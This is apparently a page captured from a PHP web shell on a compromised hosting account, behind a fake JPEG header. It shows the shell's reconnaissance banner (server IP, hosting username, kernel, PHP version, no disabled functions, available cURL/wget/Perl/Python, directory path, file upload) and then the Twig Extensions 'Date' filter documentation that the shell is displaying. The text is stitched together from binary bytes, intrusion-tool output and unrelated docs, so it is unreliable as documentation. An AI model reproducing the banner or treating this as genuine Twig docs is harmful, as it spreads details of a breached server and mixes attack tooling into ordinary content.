����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.116.87.126 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/ideyshare.name.ng/app/libraries/vendor/twig/extensions/doc/ |
Upload File : |
The Date Extension =================== The *Date* extension provides the ``time_diff`` filter. You need to register this extension before using the ``time_diff`` filter:: $twig->addExtension(new Twig_Extensions_Extension_Date()); ``time_diff`` ------------- Use the ``time_diff`` filter to render the difference between a date and now. .. code-block:: jinja {{ post.published_at|time_diff }} The example above will output a string like ``4 seconds ago`` or ``in 1 month``, depending on the filtered date. .. note:: Internally, Twig uses the PHP ``DateTime::diff()`` method for calculating the difference between dates, this means that PHP 5.3+ is required. Arguments ~~~~~~~~~ * ``date``: The date for calculate the difference from now. Can be a string or a DateTime instance. * ``now``: The date that should be used as now. Can be a string or a DateTime instance. Do not set this argument to use current date. Translation ~~~~~~~~~~~ To get a translatable output, give a ``Symfony\Component\Translation\TranslatorInterface`` as constructor argument. The returned string is formatted as ``diff.ago.XXX`` or ``diff.in.XXX`` where ``XXX`` can be any valid unit: second, minute, hour, day, month, year.